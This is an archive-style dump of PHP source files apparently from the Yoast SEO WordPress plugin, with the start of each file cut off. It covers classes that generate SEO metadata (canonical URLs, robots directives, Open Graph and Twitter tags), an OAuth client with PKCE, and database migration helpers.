parent::generate_twitter_description(); if ( $twitter_description ) { return $twitter_description; } if ( $this->open_graph_description && $this->context->open_graph_enabled === true ) { return ''; } return $this->post->get_the_excerpt( $this->model->object_id ); } /** * Generates the Twitter image. * * @return string The Twitter image. */ public function generate_twitter_image() { if ( \post_password_required() ) { return ''; } return parent::generate_twitter_image(); } /** * Generates the Twitter creator. * * @return string The Twitter creator. */ public function generate_twitter_creator() { if ( $this->model->object_sub_type !== 'post' ) { return ''; } $twitter_creator = \ltrim( \trim( \get_the_author_meta( 'twitter', $this->source->post_author ) ), '@' ); /** * Filter: 'wpseo_twitter_creator_account' - Allow changing the X account as output in the X card by Yoast SEO. * * @param string $twitter The twitter account name string. */ $twitter_creator = \apply_filters( 'wpseo_twitter_creator_account', $twitter_creator ); if ( \is_string( $twitter_creator ) && $twitter_creator !== '' ) { return '@' . $twitter_creator; } $site_twitter = $this->options->get( 'twitter_site', '' ); if ( \is_string( $site_twitter ) && $site_twitter !== '' ) { return '@' . $site_twitter; } return ''; } /** * Wraps the get_paginated_url pagination helper method. * * @codeCoverageIgnore A wrapper method. * * @param string $url The un-paginated URL of the current archive. * @param string $page The page number to add on to $url for the $link tag. * * @return string The paginated URL. */ protected function get_paginated_url( $url, $page ) { return $this->pagination->get_paginated_url( $url, $page, false ); } } presentations/indexable-author-archive-presentation.php000064400000010327152076255770017561 0ustar00post_type = $post_type; $this->author_archive = $author_archive; } /** * Generates the canonical. * * @return string The canonical. */ public function generate_canonical() { if ( $this->model->canonical ) { return $this->model->canonical; } if ( ! $this->permalink ) { return ''; } $current_page = $this->pagination->get_current_archive_page_number(); if ( $current_page > 1 ) { return $this->pagination->get_paginated_url( $this->permalink, $current_page ); } return $this->permalink; } /** * Generates the title. * * @return string The title. */ public function generate_title() { if ( $this->model->title ) { return $this->model->title; } $option_titles_key = 'title-author-wpseo'; $title = $this->options->get( $option_titles_key ); if ( $title ) { return $title; } return $this->options->get_title_default( $option_titles_key ); } /** * Generates the meta description. * * @return string The meta description. */ public function generate_meta_description() { if ( $this->model->description ) { return $this->model->description; } $option_titles_key = 'metadesc-author-wpseo'; $description = $this->options->get( $option_titles_key ); if ( $description ) { return $description; } return $this->options->get_title_default( $option_titles_key ); } /** * Generates the robots value. * * @return array The robots value. */ public function generate_robots() { $robots = $this->get_base_robots(); // Global option: "Show author archives in search results". if ( $this->options->get( 'noindex-author-wpseo', false ) ) { $robots['index'] = 'noindex'; return $this->filter_robots( $robots ); } $current_author = \get_userdata( $this->model->object_id ); // Safety check. The call to `get_user_data` could return false (called in `get_queried_object`). if ( $current_author === false ) { $robots['index'] = 'noindex'; return $this->filter_robots( $robots ); } $author_archive_post_types = $this->author_archive->get_author_archive_post_types(); // Global option: "Show archives for authors without posts in search results". if ( $this->options->get( 'noindex-author-noposts-wpseo', false ) && $this->user->count_posts( $current_author->ID, $author_archive_post_types ) === 0 ) { $robots['index'] = 'noindex'; return $this->filter_robots( $robots ); } // User option: "Do not allow search engines to show this author's archives in search results". if ( $this->user->get_meta( $current_author->ID, 'wpseo_noindex_author', true ) === 'on' ) { $robots['index'] = 'noindex'; return $this->filter_robots( $robots ); } return $this->filter_robots( $robots ); } /** * Generates the Open Graph type. * * @return string The Open Graph type. */ public function generate_open_graph_type() { return 'profile'; } /** * Generates the open graph images. * * @return array The open graph images. */ public function generate_open_graph_images() { if ( $this->context->open_graph_enabled === false ) { return []; } return $this->open_graph_image_generator->generate_for_author_archive( $this->context ); } /** * Generates the source. * * @return array The source. */ public function generate_source() { return [ 'post_author' => $this->model->object_id ]; } } presentations/indexable-presentation.php000064400000046064152076255770014651 0ustar00schema_generator = $schema_generator; $this->open_graph_locale_generator = $open_graph_locale_generator; $this->open_graph_image_generator = $open_graph_image_generator; $this->twitter_image_generator = $twitter_image_generator; $this->breadcrumbs_generator = $breadcrumbs_generator; } /** * Used by dependency injection container to inject the helpers. * * @required * * @param Image_Helper $image The image helper. * @param Options_Helper $options The options helper. * @param Current_Page_Helper $current_page The current page helper. * @param Url_Helper $url The URL helper. * @param User_Helper $user The user helper. * @param Indexable_Helper $indexable The indexable helper. * @param Permalink_Helper $permalink The permalink helper. * @param Values_Helper $values The values helper. * * @return void */ public function set_helpers( Image_Helper $image, Options_Helper $options, Current_Page_Helper $current_page, Url_Helper $url, User_Helper $user, Indexable_Helper $indexable, Permalink_Helper $permalink, Values_Helper $values ) { $this->image = $image; $this->options = $options; $this->current_page = $current_page; $this->url = $url; $this->user = $user; $this->indexable_helper = $indexable; $this->permalink_helper = $permalink; $this->values_helper = $values; } /** * Gets the permalink from the indexable or generates it if dynamic permalinks are enabled. * * @return string The permalink. */ public function generate_permalink() { if ( $this->indexable_helper->dynamic_permalinks_enabled() ) { return $this->permalink_helper->get_permalink_for_indexable( $this->model ); } if ( \is_date() ) { return $this->current_page->get_date_archive_permalink(); } if ( \is_attachment() ) { global $wp; return \trailingslashit( \home_url( $wp->request ) ); } return $this->model->permalink; } /** * Generates the title. * * @return string The title. */ public function generate_title() { if ( $this->model->title ) { return $this->model->title; } return ''; } /** * Generates the meta description. * * @return string The meta description. */ public function generate_meta_description() { if ( $this->model->description ) { return $this->model->description; } return ''; } /** * Generates the robots value. * * @return array The robots value. */ public function generate_robots() { $robots = $this->get_base_robots(); return $this->filter_robots( $robots ); } /** * Gets the base robots value. * * @return array The base robots value. */ protected function get_base_robots() { return [ 'index' => ( $this->model->is_robots_noindex === true ) ? 'noindex' : 'index', 'follow' => ( $this->model->is_robots_nofollow === true ) ? 'nofollow' : 'follow', 'max-snippet' => 'max-snippet:-1', 'max-image-preview' => 'max-image-preview:large', 'max-video-preview' => 'max-video-preview:-1', ]; } /** * Run the robots output content through the `wpseo_robots` filter. * * @param array $robots The meta robots values to filter. * * @return array The filtered meta robots values. */ protected function filter_robots( $robots ) { // Remove values that are only listened to when indexing. if ( $robots['index'] === 'noindex' ) { $robots['imageindex'] = null; $robots['archive'] = null; $robots['snippet'] = null; $robots['max-snippet'] = null; $robots['max-image-preview'] = null; $robots['max-video-preview'] = null; } $robots_string = \implode( ', ', \array_filter( $robots ) ); /** * Filter: 'wpseo_robots' - Allows filtering of the meta robots output of Yoast SEO. * * @param string $robots The meta robots directives to be echoed. * @param Indexable_Presentation $presentation The presentation of an indexable. */ $robots_filtered = \apply_filters( 'wpseo_robots', $robots_string, $this ); // Convert the robots string back to an array. if ( \is_string( $robots_filtered ) ) { $robots_values = \explode( ', ', $robots_filtered ); $robots_new = []; foreach ( $robots_values as $value ) { $key = $value; // Change `noindex` to `index. if ( \strpos( $key, 'no' ) === 0 ) { $key = \substr( $value, 2 ); } // Change `max-snippet:-1` to `max-snippet`. $colon_position = \strpos( $key, ':' ); if ( $colon_position !== false ) { $key = \substr( $value, 0, $colon_position ); } $robots_new[ $key ] = $value; } $robots = $robots_new; } if ( \is_bool( $robots_filtered ) && ( $robots_filtered === false ) ) { return [ 'index' => 'noindex', 'follow' => 'nofollow', ]; } if ( ! $robots_filtered ) { return []; } /** * Filter: 'wpseo_robots_array' - Allows filtering of the meta robots output array of Yoast SEO. * * @param array $robots The meta robots directives to be used. * @param Indexable_Presentation $presentation The presentation of an indexable. */ return \apply_filters( 'wpseo_robots_array', \array_filter( $robots ), $this ); } /** * Generates the canonical. * * @return string The canonical. */ public function generate_canonical() { if ( $this->model->canonical ) { return $this->model->canonical; } if ( $this->permalink ) { return $this->permalink; } return ''; } /** * Generates the rel prev. * * @return string The rel prev value. */ public function generate_rel_prev() { return ''; } /** * Generates the rel next. * * @return string The rel prev next. */ public function generate_rel_next() { return ''; } /** * Generates the Open Graph type. * * @return string The Open Graph type. */ public function generate_open_graph_type() { return 'website'; } /** * Generates the open graph title. * * @return string The open graph title. */ public function generate_open_graph_title() { if ( $this->model->open_graph_title ) { $open_graph_title = $this->model->open_graph_title; } if ( empty( $open_graph_title ) ) { // The helper applies a filter, but we don't have a default value at this stage so we pass an empty string. $open_graph_title = $this->values_helper->get_open_graph_title( '', $this->model->object_type, $this->model->object_sub_type ); } if ( empty( $open_graph_title ) ) { $open_graph_title = $this->title; } return $open_graph_title; } /** * Generates the open graph description. * * @return string The open graph description. */ public function generate_open_graph_description() { if ( $this->model->open_graph_description ) { $open_graph_description = $this->model->open_graph_description; } if ( empty( $open_graph_description ) ) { // The helper applies a filter, but we don't have a default value at this stage so we pass an empty string. $open_graph_description = $this->values_helper->get_open_graph_description( '', $this->model->object_type, $this->model->object_sub_type ); } if ( empty( $open_graph_description ) ) { $open_graph_description = $this->meta_description; } return $open_graph_description; } /** * Generates the open graph images. * * @return array The open graph images. */ public function generate_open_graph_images() { if ( $this->context->open_graph_enabled === false ) { return []; } return $this->open_graph_image_generator->generate( $this->context ); } /** * Generates the open graph image ID. * * @return string The open graph image ID. */ public function generate_open_graph_image_id() { if ( $this->model->open_graph_image_id ) { return $this->model->open_graph_image_id; } return $this->values_helper->get_open_graph_image_id( 0, $this->model->object_type, $this->model->object_sub_type ); } /** * Generates the open graph image URL. * * @return string The open graph image URL. */ public function generate_open_graph_image() { if ( $this->model->open_graph_image ) { return $this->model->open_graph_image; } return $this->values_helper->get_open_graph_image( '', $this->model->object_type, $this->model->object_sub_type ); } /** * Generates the open graph url. * * @return string The open graph url. */ public function generate_open_graph_url() { if ( $this->model->canonical ) { return $this->model->canonical; } return $this->permalink; } /** * Generates the open graph article publisher. * * @return string The open graph article publisher. */ public function generate_open_graph_article_publisher() { return ''; } /** * Generates the open graph article author. * * @return string The open graph article author. */ public function generate_open_graph_article_author() { return ''; } /** * Generates the open graph article published time. * * @return string The open graph article published time. */ public function generate_open_graph_article_published_time() { return ''; } /** * Generates the open graph article modified time. * * @return string The open graph article modified time. */ public function generate_open_graph_article_modified_time() { return ''; } /** * Generates the open graph locale. * * @return string The open graph locale. */ public function generate_open_graph_locale() { return $this->open_graph_locale_generator->generate( $this->context ); } /** * Generates the open graph site name. * * @return string The open graph site name. */ public function generate_open_graph_site_name() { return $this->context->wordpress_site_name; } /** * Generates the Twitter card type. * * @return string The Twitter card type. */ public function generate_twitter_card() { return $this->context->twitter_card; } /** * Generates the Twitter title. * * @return string The Twitter title. */ public function generate_twitter_title() { if ( $this->model->twitter_title ) { return $this->model->twitter_title; } if ( $this->context->open_graph_enabled === true ) { $social_template_title = $this->values_helper->get_open_graph_title( '', $this->model->object_type, $this->model->object_sub_type ); $open_graph_title = $this->open_graph_title; // If the helper returns a value and it's different from the OG value in the indexable, // output it in a twitter: tag. if ( ! empty( $social_template_title ) && $social_template_title !== $open_graph_title ) { return $social_template_title; } // If the OG title is set, let og: tag take care of this. if ( ! empty( $open_graph_title ) ) { return ''; } } if ( $this->title ) { return $this->title; } return ''; } /** * Generates the Twitter description. * * @return string The Twitter description. */ public function generate_twitter_description() { if ( $this->model->twitter_description ) { return $this->model->twitter_description; } if ( $this->context->open_graph_enabled === true ) { $social_template_description = $this->values_helper->get_open_graph_description( '', $this->model->object_type, $this->model->object_sub_type ); $open_graph_description = $this->open_graph_description; // If the helper returns a value and it's different from the OG value in the indexable, // output it in a twitter: tag. if ( ! empty( $social_template_description ) && $social_template_description !== $open_graph_description ) { return $social_template_description; } // If the OG description is set, let og: tag take care of this. if ( ! empty( $open_graph_description ) ) { return ''; } } if ( $this->meta_description ) { return $this->meta_description; } return ''; } /** * Generates the Twitter image. * * @return string The Twitter image. */ public function generate_twitter_image() { $images = $this->twitter_image_generator->generate( $this->context ); $image = \reset( $images ); // Use a user-defined Twitter image, if present. if ( $image && $this->context->indexable->twitter_image_source === 'set-by-user' ) { return $image['url']; } // Let the Open Graph tags, if enabled, handle the rest of the fallback hierarchy. if ( $this->context->open_graph_enabled === true && $this->open_graph_images ) { return ''; } // Set a Twitter tag with the featured image, or a prominent image from the content, if present. if ( $image ) { return $image['url']; } return ''; } /** * Generates the Twitter creator. * * @return string The Twitter creator. */ public function generate_twitter_creator() { return ''; } /** * Generates the Twitter site. * * @return string The Twitter site. */ public function generate_twitter_site() { switch ( $this->context->site_represents ) { case 'person': $twitter = $this->user->get_the_author_meta( 'twitter', (int) $this->context->site_user_id ); if ( empty( $twitter ) ) { $twitter = $this->options->get( 'twitter_site' ); } break; case 'company': default: $twitter = $this->options->get( 'twitter_site' ); break; } return $twitter; } /** * Generates the source. * * @return array The source. */ public function generate_source() { return []; } /** * Generates the schema for the page. * * @codeCoverageIgnore Wrapper method. * * @return array The Schema object. */ public function generate_schema() { return $this->schema_generator->generate( $this->context ); } /** * Generates the breadcrumbs for the page. * * @codeCoverageIgnore Wrapper method. * * @return array The breadcrumbs. */ public function generate_breadcrumbs() { return $this->breadcrumbs_generator->generate( $this->context ); } /** * Generates the estimated reading time. * * @codeCoverageIgnore Wrapper method. * * @return int|null The estimated reading time. */ public function generate_estimated_reading_time_minutes() { if ( $this->model->estimated_reading_time_minutes !== null ) { return $this->model->estimated_reading_time_minutes; } if ( $this->context->post === null ) { return null; } // 200 is the approximate estimated words per minute across languages. $words_per_minute = 200; $words = \str_word_count( \wp_strip_all_tags( $this->context->post->post_content ) ); return (int) \round( $words / $words_per_minute ); } /** * Strips all nested dependencies from the debug info. * * @return array */ public function __debugInfo() { return [ 'model' => $this->model, 'context' => $this->context, ]; } } presentations/indexable-static-home-page-presentation.php000064400000001411152076255770017761 0ustar00pagination->get_paginated_url( $url, $page ); } /** * Generates the Open Graph type. * * @return string The Open Graph type. */ public function generate_open_graph_type() { return 'website'; } } presentations/indexable-home-page-presentation.php000064400000002300152076255770016472 0ustar00model->canonical ) { return $this->model->canonical; } if ( ! $this->permalink ) { return ''; } $current_page = $this->pagination->get_current_archive_page_number(); if ( $current_page > 1 ) { return $this->pagination->get_paginated_url( $this->permalink, $current_page ); } return $this->permalink; } /** * Generates the meta description. * * @return string The meta description. */ public function generate_meta_description() { if ( $this->model->description ) { return $this->model->description; } return $this->options->get( 'metadesc-home-wpseo' ); } /** * Generates the title. * * @return string The title. */ public function generate_title() { if ( $this->model->title ) { return $this->model->title; } return $this->options->get_title_default( 'title-home-wpseo' ); } } presentations/indexable-date-archive-presentation.php000064400000005512152076255770017174 0ustar00pagination = $pagination; } /** * Generates the canonical. * * @return string The canonical. */ public function generate_canonical() { $canonical = $this->current_page->get_date_archive_permalink(); $current_page = $this->pagination->get_current_archive_page_number(); if ( $current_page > 1 ) { return $this->pagination->get_paginated_url( $canonical, $current_page ); } return $canonical; } /** * Generates the robots value. * * @return array The robots value. */ public function generate_robots() { $robots = $this->get_base_robots(); if ( $this->options->get( 'noindex-archive-wpseo', false ) ) { $robots['index'] = 'noindex'; } return $this->filter_robots( $robots ); } /** * Generates the title. * * @return string The title. */ public function generate_title() { if ( $this->model->title ) { return $this->model->title; } return $this->options->get_title_default( 'title-archive-wpseo' ); } /** * Generates the rel prev. * * @return string The rel prev value. */ public function generate_rel_prev() { if ( $this->pagination->is_rel_adjacent_disabled() ) { return ''; } $current_page = \max( 1, $this->pagination->get_current_archive_page_number() ); // Check if there is a previous page. if ( $current_page === 1 ) { return ''; } // Check if the previous page is the first page. if ( $current_page === 2 ) { return $this->current_page->get_date_archive_permalink(); } return $this->pagination->get_paginated_url( $this->current_page->get_date_archive_permalink(), ( $current_page - 1 ) ); } /** * Generates the rel next. * * @return string The rel prev next. */ public function generate_rel_next() { if ( $this->pagination->is_rel_adjacent_disabled() ) { return ''; } $current_page = \max( 1, $this->pagination->get_current_archive_page_number() ); if ( $this->pagination->get_number_of_archive_pages() <= $current_page ) { return ''; } return $this->pagination->get_paginated_url( $this->current_page->get_date_archive_permalink(), ( $current_page + 1 ) ); } /** * Generates the open graph url. * * @return string The open graph url. */ public function generate_open_graph_url() { return $this->current_page->get_date_archive_permalink(); } } config/oauth-client.php000064400000021622152076255770011141 0ustar00provider = $provider; $this->token_option = $token_option; $this->options_helper = $options_helper; $tokens = $this->options_helper->get( $this->token_option ); if ( ! empty( $tokens ) ) { $this->token = new OAuth_Token( $tokens['access_token'], $tokens['refresh_token'], $tokens['expires'], $tokens['has_expired'], $tokens['created_at'], ( $tokens['error_count'] ?? 0 ), ); } } /** * Requests the access token and refresh token based on the passed code. * * @param string $code The code to send. * * @return OAuth_Token The requested tokens. * * @throws Authentication_Failed_Exception Exception thrown if authentication has failed. */ public function request_tokens( $code ) { try { $response = $this->provider ->getAccessToken( 'authorization_code', [ 'code' => $code, ], ); $token = OAuth_Token::from_response( $response ); return $this->store_token( $token ); } catch ( Exception $exception ) { throw new Authentication_Failed_Exception( $exception ); } } /** * Performs an authenticated GET request to the desired URL. * * @param string $url The URL to send the request to. * @param array $options The options to pass along to the request. * * @return mixed The parsed API response. * * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data. * @throws Authentication_Failed_Exception Exception thrown if authentication has failed. * @throws Empty_Token_Exception Exception thrown if the token is empty. */ public function get( $url, $options = [] ) { return $this->do_request( 'GET', $url, $options ); } /** * Performs an authenticated POST request to the desired URL. * * @param string $url The URL to send the request to. * @param mixed $body The data to send along in the request's body. * @param array $options The options to pass along to the request. * * @return mixed The parsed API response. * * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data. * @throws Authentication_Failed_Exception Exception thrown if authentication has failed. * @throws Empty_Token_Exception Exception thrown if the token is empty. */ public function post( $url, $body, $options = [] ) { $options['body'] = $body; return $this->do_request( 'POST', $url, $options ); } /** * Performs an authenticated DELETE request to the desired URL. * * @param string $url The URL to send the request to. * @param array $options The options to pass along to the request. * * @return mixed The parsed API response. * * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data. * @throws Authentication_Failed_Exception Exception thrown if authentication has failed. * @throws Empty_Token_Exception Exception thrown if the token is empty. */ public function delete( $url, $options = [] ) { return $this->do_request( 'DELETE', $url, $options ); } /** * Determines whether there are valid tokens available. * * @return bool Whether there are valid tokens. */ public function has_valid_tokens() { return ! empty( $this->token ) && $this->token->has_expired() === false; } /** * Gets the stored tokens and refreshes them if they've expired. * * @return OAuth_Token The stored tokens. * * @throws Empty_Token_Exception Exception thrown if the token is empty. */ public function get_tokens() { if ( empty( $this->token ) ) { throw new Empty_Token_Exception(); } if ( $this->token->has_expired() ) { $this->token = $this->refresh_tokens( $this->token ); } return $this->token; } /** * Stores the passed token. * * @param OAuth_Token $token The token to store. * * @return OAuth_Token The stored token. * * @throws Failed_Storage_Exception Exception thrown if storing of the token fails. */ public function store_token( OAuth_Token $token ) { $saved = $this->options_helper->set( $this->token_option, $token->to_array() ); if ( $saved === false ) { throw new Failed_Storage_Exception(); } return $token; } /** * Clears the stored token from storage. * * @return bool The stored token. * * @throws Failed_Storage_Exception Exception thrown if clearing of the token fails. */ public function clear_token() { $saved = $this->options_helper->set( $this->token_option, [] ); if ( $saved === false ) { throw new Failed_Storage_Exception(); } return true; } /** * Performs the specified request. * * @param string $method The HTTP method to use. * @param string $url The URL to send the request to. * @param array $options The options to pass along to the request. * * @return mixed The parsed API response. * * @throws IdentityProviderException Exception thrown if there's something wrong with the identifying data. * @throws Authentication_Failed_Exception Exception thrown if authentication has failed. * @throws Empty_Token_Exception Exception thrown if the token is empty. */ protected function do_request( $method, $url, array $options ) { $defaults = [ 'headers' => $this->provider->getHeaders( $this->get_tokens()->access_token ), ]; $options = \array_merge_recursive( $defaults, $options ); if ( \array_key_exists( 'params', $options ) ) { $url .= '?' . \http_build_query( $options['params'] ); unset( $options['params'] ); } $request = $this->provider ->getAuthenticatedRequest( $method, $url, null, $options ); return $this->provider->getParsedResponse( $request ); } /** * Refreshes the outdated tokens. * * @param OAuth_Token $tokens The outdated tokens. * * @return OAuth_Token The refreshed tokens. * * @throws Authentication_Failed_Exception Exception thrown if authentication has failed. */ protected function refresh_tokens( OAuth_Token $tokens ) { // We do this dance with transients since we need to make sure we don't // delete valid tokens because of a race condition when two calls are // made simultaneously to this function and refresh token rotation is // turned on in the OAuth server. This is not 100% safe, but should at // least be much better than not having any lock at all. $lock_name = \sprintf( 'lock:%s', $this->token_option ); $can_lock = \get_transient( $lock_name ) === false; $has_lock = $can_lock && \set_transient( $lock_name, true, 30 ); try { $new_tokens = $this->provider->getAccessToken( 'refresh_token', [ 'refresh_token' => $tokens->refresh_token, ], ); $token_obj = OAuth_Token::from_response( $new_tokens ); return $this->store_token( $token_obj ); } catch ( Exception $exception ) { // If we tried to refresh but the refresh token is invalid, delete // the tokens so that we don't try again. Only do this if we got the // lock at the beginning of the call. if ( $has_lock && $exception->getMessage() === 'invalid_grant' ) { try { // To protect from race conditions, only do this if we've // seen an error before with the same token. if ( $tokens->error_count >= 1 ) { $this->clear_token(); } else { $tokens->error_count += 1; $this->store_token( $tokens ); } } catch ( Exception $e ) { // phpcs:ignore Generic.CodeAnalysis.EmptyStatement.DetectedCatch // Pass through. } } throw new Authentication_Failed_Exception( $exception ); } finally { \delete_transient( $lock_name ); } } } config/migration-status.php000064400000012227152076256000012043 0ustar00get_migration_status( $name ); // Check if we've attempted to run this migration in the past 10 minutes. If so, it may still be running. if ( \array_key_exists( 'lock', $migration_status ) ) { $timestamp = \strtotime( '-10 minutes' ); return $timestamp > $migration_status['lock']; } // Is the migration version less than the current version. return \version_compare( $migration_status['version'], $version, '<' ); } /** * Checks whether or not the given migration is at least the given version, defaults to checking for the latest version. * * @param string $name The name of the migration. * @param string $version The version to check, defaults to the latest version. * * @return bool Whether or not the requested migration is at least the requested version. */ public function is_version( $name, $version = \WPSEO_VERSION ) { $migration_status = $this->get_migration_status( $name ); return \version_compare( $version, $migration_status['version'], '<=' ); } /** * Gets the error of a given migration if it exists. * * @param string $name The name of the migration. * * @return bool|array False if there is no error, otherwise the error. */ public function get_error( $name ) { $migration_status = $this->get_migration_status( $name ); if ( ! isset( $migration_status['error'] ) ) { return false; } return $migration_status['error']; } /** * Sets an error for the migration. * * @param string $name The name of the migration. * @param string $message Message explaining the reason for the error. * @param string $version The current version. * * @return void */ public function set_error( $name, $message, $version = \WPSEO_VERSION ) { $migration_status = $this->get_migration_status( $name ); $migration_status['error'] = [ 'time' => \strtotime( 'now' ), 'version' => $version, 'message' => $message, ]; $this->set_migration_status( $name, $migration_status ); } /** * Updates the migration version to the latest version. * * @param string $name The name of the migration. * @param string $version The current version. * * @return void */ public function set_success( $name, $version = \WPSEO_VERSION ) { $migration_status = $this->get_migration_status( $name ); unset( $migration_status['lock'] ); unset( $migration_status['error'] ); $migration_status['version'] = $version; $this->set_migration_status( $name, $migration_status ); } /** * Locks the migration status. * * @param string $name The name of the migration. * * @return bool Whether or not the migration was succesfully locked. */ public function lock_migration( $name ) { $migration_status = $this->get_migration_status( $name ); $migration_status['lock'] = \strtotime( 'now' ); return $this->set_migration_status( $name, $migration_status ); } /** * Retrieves the migration option. * * @param string $name The name of the migration. * * @return bool|array The status of the migration, false if no status exists. */ protected function get_migration_status( $name ) { $current_blog_id = \get_current_blog_id(); if ( ! isset( $this->migration_options[ $current_blog_id ][ $name ] ) ) { $migration_status = \get_option( self::MIGRATION_OPTION_KEY . $name ); if ( ! \is_array( $migration_status ) || ! isset( $migration_status['version'] ) ) { $migration_status = [ 'version' => '0.0' ]; } if ( ! isset( $this->migration_options[ $current_blog_id ] ) ) { $this->migration_options[ $current_blog_id ] = []; } $this->migration_options[ $current_blog_id ][ $name ] = $migration_status; } return $this->migration_options[ $current_blog_id ][ $name ]; } /** * Retrieves the migration option. * * @param string $name The name of the migration. * @param array $migration_status The migration status. * * @return bool True if the status was succesfully updated, false otherwise. */ protected function set_migration_status( $name, $migration_status ) { if ( ! \is_array( $migration_status ) || ! isset( $migration_status['version'] ) ) { return false; } $current_blog_id = \get_current_blog_id(); if ( ! isset( $this->migration_options[ $current_blog_id ] ) ) { $this->migration_options[ $current_blog_id ] = []; } $this->migration_options[ $current_blog_id ][ $name ] = $migration_status; return \update_option( self::MIGRATION_OPTION_KEY . $name, $migration_status ); } } config/wincher-pkce-provider.php000064400000016033152076256000012737 0ustar00pkceCode = $pkce_code; return $this; } /** * Returns the current value of the pkceCode parameter. * * This can be accessed by the redirect handler during authorization. * * @return string */ public function getPkceCode() { return $this->pkceCode; } /** * Returns a new random string to use as PKCE code_verifier and * hashed as code_challenge parameters in an authorization flow. * Must be between 43 and 128 characters long. * * @param int $length Length of the random string to be generated. * * @return string * * @throws Exception Throws exception if an invalid value is passed to random_bytes. */ protected function getRandomPkceCode( $length = 64 ) { return \substr( \strtr( // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode \base64_encode( \random_bytes( $length ) ), '+/', '-_', ), 0, $length, ); } /** * Returns the current value of the pkceMethod parameter. * * @return string|null */ protected function getPkceMethod() { return $this->pkceMethod; } /** * Returns authorization parameters based on provided options. * * @param array $options The options to use in the authorization parameters. * * @return array The authorization parameters * * @throws InvalidArgumentException Throws exception if an invalid PCKE method is passed in the options. * @throws Exception When something goes wrong with generating the PKCE code. */ protected function getAuthorizationParameters( array $options ) { if ( empty( $options['state'] ) ) { $options['state'] = $this->getRandomState(); } if ( empty( $options['scope'] ) ) { $options['scope'] = $this->getDefaultScopes(); } $options += [ 'response_type' => 'code', ]; if ( \is_array( $options['scope'] ) ) { $separator = $this->getScopeSeparator(); $options['scope'] = \implode( $separator, $options['scope'] ); } // Store the state as it may need to be accessed later on. $this->state = $options['state']; $pkce_method = $this->getPkceMethod(); if ( ! empty( $pkce_method ) ) { $this->pkceCode = $this->getRandomPkceCode(); if ( $pkce_method === 'S256' ) { $options['code_challenge'] = \trim( \strtr( // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.obfuscation_base64_encode \base64_encode( \hash( 'sha256', $this->pkceCode, true ) ), '+/', '-_', ), '=', ); } elseif ( $pkce_method === 'plain' ) { $options['code_challenge'] = $this->pkceCode; } else { throw new InvalidArgumentException( 'Unknown PKCE method "' . $pkce_method . '".' ); } $options['code_challenge_method'] = $pkce_method; } // Business code layer might set a different redirect_uri parameter. // Depending on the context, leave it as-is. if ( ! isset( $options['redirect_uri'] ) ) { $options['redirect_uri'] = $this->redirectUri; } $options['client_id'] = $this->clientId; return $options; } /** * Requests an access token using a specified grant and option set. * * @param mixed $grant The grant to request access for. * @param array $options The options to use with the current request. * * @return AccessToken|AccessTokenInterface The access token. * * @throws UnexpectedValueException Exception thrown if the provider response contains errors. */ public function getAccessToken( $grant, array $options = [] ) { $grant = $this->verifyGrant( $grant ); $params = [ 'client_id' => $this->clientId, 'client_secret' => $this->clientSecret, 'redirect_uri' => $this->redirectUri, ]; if ( ! empty( $this->pkceCode ) ) { $params['code_verifier'] = $this->pkceCode; } $params = $grant->prepareRequestParameters( $params, $options ); $request = $this->getAccessTokenRequest( $params ); $response = $this->getParsedResponse( $request ); if ( \is_array( $response ) === false ) { throw new UnexpectedValueException( 'Invalid response received from Authorization Server. Expected JSON.', ); } $prepared = $this->prepareAccessTokenResponse( $response ); $token = $this->createAccessToken( $prepared, $grant ); return $token; } /** * Returns all options that can be configured. * * @return array The configurable options. */ protected function getConfigurableOptions() { return \array_merge( $this->getRequiredOptions(), [ 'accessTokenMethod', 'accessTokenResourceOwnerId', 'scopeSeparator', 'responseError', 'responseCode', 'responseResourceOwnerId', 'scopes', 'pkceMethod', ], ); } /** * Parses the request response. * * @param RequestInterface $request The request interface. * * @return array The parsed response. * * @throws IdentityProviderException Exception thrown if there is no proper identity provider. */ public function getParsedResponse( RequestInterface $request ) { try { $response = $this->getResponse( $request ); } catch ( BadResponseException $e ) { $response = $e->getResponse(); } $parsed = $this->parseResponse( $response ); $this->checkResponse( $response, $parsed ); // We always expect an array from the API except for on DELETE requests. // We convert to an array here to prevent problems with array_key_exists on PHP8. if ( ! \is_array( $parsed ) ) { $parsed = [ 'data' => [] ]; } // Add the response code as this is omitted from Winchers API. if ( ! \array_key_exists( 'status', $parsed ) ) { $parsed['status'] = $response->getStatusCode(); } return $parsed; } } config/badge-group-names.php000064400000002716152076256000012030 0ustar00 '16.7-beta0', ]; /** * The current plugin version. * * @var string */ protected $version; /** * Badge_Group_Names constructor. * * @param string|null $version Optional: the current plugin version. */ public function __construct( $version = null ) { if ( ! $version ) { $version = \WPSEO_VERSION; } $this->version = $version; } /** * Check whether a group of badges is still eligible for a "new" badge. * * @param string $group One of the GROUP_* constants. * @param string|null $current_version The current version of the plugin that's being checked. * * @return bool Whether a group of badges is still eligible for a "new" badge. */ public function is_still_eligible_for_new_badge( $group, $current_version = null ) { if ( ! \array_key_exists( $group, $this::GROUP_NAMES ) ) { return false; } $group_version = $this::GROUP_NAMES[ $group ]; $current_version ??= $this->version; return (bool) \version_compare( $group_version, $current_version, '>' ); } } config/migrations/20200428194858_ExpandIndexableColumnLengths.php000064400000003420152076256000020122 0ustar00change_column( $this->get_table_name(), 'title', 'text', [ 'null' => true ] ); $this->change_column( $this->get_table_name(), 'open_graph_title', 'text', [ 'null' => true ] ); $this->change_column( $this->get_table_name(), 'twitter_title', 'text', [ 'null' => true ] ); $this->change_column( $this->get_table_name(), 'open_graph_image_source', 'text', [ 'null' => true ] ); $this->change_column( $this->get_table_name(), 'twitter_image_source', 'text', [ 'null' => true ] ); } /** * Migration down. * * @return void */ public function down() { $attr_limit_191 = [ 'null' => true, 'limit' => 191, ]; $this->change_column( $this->get_table_name(), 'title', 'string', $attr_limit_191, ); $this->change_column( $this->get_table_name(), 'opengraph_title', 'string', $attr_limit_191, ); $this->change_column( $this->get_table_name(), 'twitter_title', 'string', $attr_limit_191, ); $this->change_column( $this->get_table_name(), 'open_graph_image_source', 'string', $attr_limit_191, ); $this->change_column( $this->get_table_name(), 'twitter_image_source', 'string', $attr_limit_191, ); } /** * Retrieves the table name to use for storing indexables. * * @return string The table name to use. */ protected function get_table_name() { return Model::get_table_name( 'Indexable' ); } } config/migrations/20200513133401_ResetIndexableHierarchyTable.php000064400000001366152076256000020044 